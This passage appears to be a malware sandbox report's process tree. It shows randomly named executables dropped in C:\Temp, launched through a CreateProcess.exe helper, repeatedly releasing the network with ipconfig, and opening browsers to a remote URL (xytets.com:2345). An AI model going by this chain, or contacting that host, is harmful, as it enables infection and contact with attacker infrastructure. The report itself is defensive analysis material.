      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4452
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qnlidavsnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4332
  - - C:\Temp\i_qnlidavsnl.exe
      C:\Temp\i_qnlidavsnl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2332
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nkicxsqkif.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3868
  - - C:\Temp\nkicxsqkif.exe
      C:\Temp\nkicxsqkif.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5028
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nkicxsqkif.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2492
  - - C:\Temp\i_nkicxsqkif.exe
      C:\Temp\i_nkicxsqkif.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3636
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nhfcauspnk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3052
  - - C:\Temp\nhfcauspnk.exe
      C:\Temp\nhfcauspnk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4404
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5076
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nhfcauspnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:488
  - - C:\Temp\i_nhfcauspnk.exe
      C:\Temp\i_nhfcauspnk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khcxupmhec.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4264
  - - C:\Temp\khcxupmhec.exe
      C:\Temp\khcxupmhec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3220
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5060
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5448
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khcxupmhec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1460
  - - C:\Temp\i_khcxupmhec.exe
      C:\Temp\i_khcxupmhec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wurmjhbzur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2892
  - - C:\Temp\wurmjhbzur.exe
      C:\Temp\wurmjhbzur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5244
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5380
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wurmjhbzur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1468
  - - C:\Temp\i_wurmjhbzur.exe
      C:\Temp\i_wurmjhbzur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtrmjebwto.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2152
  - - C:\Temp\wtrmjebwto.exe
      C:\Temp\wtrmjebwto.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:856
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2568
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtrmjebwto.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1132
  - - C:\Temp\i_wtrmjebwto.exe
      C:\Temp\i_wtrmjebwto.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywtojgbztr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5176
  - - C:\Temp\ywtojgbztr.exe
      C:\Temp\ywtojgbztr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3684
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5744
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywtojgbztr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1724
  - - C:\Temp\i_ywtojgbztr.exe
      C:\Temp\i_ywtojgbztr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trlidbvtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3636
  - - C:\Temp\trlidbvtnl.exe
      C:\Temp\trlidbvtnl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1396
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:984
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4660
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trlidbvtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1552
  - - C:\Temp\i_trlidbvtnl.exe
      C:\Temp\i_trlidbvtnl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3880
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidbvtnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1904
  - - C:\Temp\qlidbvtnlf.exe
      C:\Temp\qlidbvtnlf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3480
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:8
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlf.exe ups_ins
    3⤵
    PID:3368
  - - C:\Temp\i_qlidbvtnlf.exe
      C:\Temp\i_qlidbvtnlf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkicavsnh.exe ups_run
    3⤵
    PID:2916
  - - C:\Temp\sqkicavsnh.exe
      C:\Temp\sqkicavsnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1096
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5792
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4204
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkicavsnh.exe ups_ins
    3⤵
    PID:5864
  - - C:\Temp\i_sqkicavsnh.exe
      C:\Temp\i_sqkicavsnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5488
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvpnhfzxs.exe ups_run
    3⤵
    PID:5012
  - - C:\Temp\dxvpnhfzxs.exe
      C:\Temp\dxvpnhfzxs.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1492
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3928
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvpnhfzxs.exe ups_ins
    3⤵
    PID:3624
  - - C:\Temp\i_dxvpnhfzxs.exe
      C:\Temp\i_dxvpnhfzxs.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvpnhfaxsp.exe ups_run
    3⤵
    PID:5636
  - - C:\Temp\xvpnhfaxsp.exe
      C:\Temp\xvpnhfaxsp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2496
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3156
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvpnhfaxsp.exe ups_ins
    3⤵
    PID:4000
  - - C:\Temp\i_xvpnhfaxsp.exe
      C:\Temp\i_xvpnhfaxsp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eczuomkecw.exe ups_run
    3⤵
    PID:1876
  - - C:\Temp\eczuomkecw.exe
      C:\Temp\eczuomkecw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2024
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5668
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2640
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eczuomkecw.exe ups_ins
    3⤵
    PID:5452
  - - C:\Temp\i_eczuomkecw.exe
      C:\Temp\i_eczuomkecw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4192
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjecwuomg.exe ups_run
    3⤵
    PID:4100
  - - C:\Temp\omjecwuomg.exe
      C:\Temp\omjecwuomg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2520
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5280
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjecwuomg.exe ups_ins
    3⤵
    PID:3080
  - - C:\Temp\i_omjecwuomg.exe
      C:\Temp\i_omjecwuomg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbztrljdb.exe ups_run
    3⤵
    PID:5696
  - - C:\Temp\jgbztrljdb.exe
      C:\Temp\jgbztrljdb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4468
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5608
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbztrljdb.exe ups_ins
    3⤵
    PID:4008
  - - C:\Temp\i_jgbztrljdb.exe
      C:\Temp\i_jgbztrljdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywqligbytn.exe ups_run
    3⤵
    PID:1856
  - - C:\Temp\ywqligbytn.exe
      C:\Temp\ywqligbytn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5944
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3104
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2640
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywqligbytn.exe ups_ins
    3⤵
    PID:5716
  - - C:\Temp\i_ywqligbytn.exe
      C:\Temp\i_ywqligbytn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5040
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdayvqoig.exe ups_run
    3⤵
    PID:3160
  - - C:\Temp\ljdayvqoig.exe
      C:\Temp\ljdayvqoig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4544
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:596
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdayvqoig.exe ups_ins
    3⤵
    PID:3432
  - - C:\Temp\i_ljdayvqoig.exe
      C:\Temp\i_ljdayvqoig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2760
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffd9374c188,0x7ffd9374c194,0x7ffd9374c1a0
      4⤵
      PID:2428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,1323974416165466151,188918624860985940,262144 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:2
      4⤵
      PID:5956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,13846230681707854850,14028460164088368984,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:11
      4⤵
      System Time Discovery
      PID:3184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2520,i,14429566823115478088,4527607906120177554,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:13
      4⤵
      PID:3396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,16081596537918100320,9257373270157293887,2097152 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
      4⤵
      PID:5880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3576,i,11851181612622269136,9116274208516580657,2097152 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
      4⤵
      PID:756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4312,i,4874346656919678805,5477472635885494822,2097152 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:9
      4⤵
      PID:4496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,16731187232586928965,16976009971762117090,2097152 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:1
      4⤵
      PID:1496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3776,i,1219350542166542370,14980623610637603594,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:14
      4⤵
      PID:5836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3784,i,3302054392404725545,5787943567213249063,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:14
      4⤵
      PID:4360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3796,i,15596143752608366927,16838916963209456107,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
      4⤵
      PID:1336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,8900721684713225322,2468901669375305320,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
      4⤵
      PID:5564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,8900721684713225322,2468901669375305320,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
      4⤵
      PID:856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,6620077999078804968,5496952593705762515,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:14
      4⤵
      PID:4156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6352,i,13666908340390097676,15012547962772147716,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
      4⤵
      PID:4580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4368,i,11416194997059428549,17102038002993928514,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:14
      4⤵
      PID:3644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4876,i,12677438225759347389,2574292792297800477,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:14
      4⤵
      PID:4864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4488,i,7702448951943971416,9865210280793787599,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:14
      4⤵
      PID:4908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4504,i,2365061423834766614,9149755969252085723,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:14
      4⤵
      PID:6012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2716,i,2491486134776197874,5424427280569736462,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:14
      4⤵
      PID:1392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,15749865196922134255,8077095305168595576,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
      4⤵
      PID:248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,2374376449210506165,4315094512160109978,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=936 /prefetch:14
      4⤵
      PID:4008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
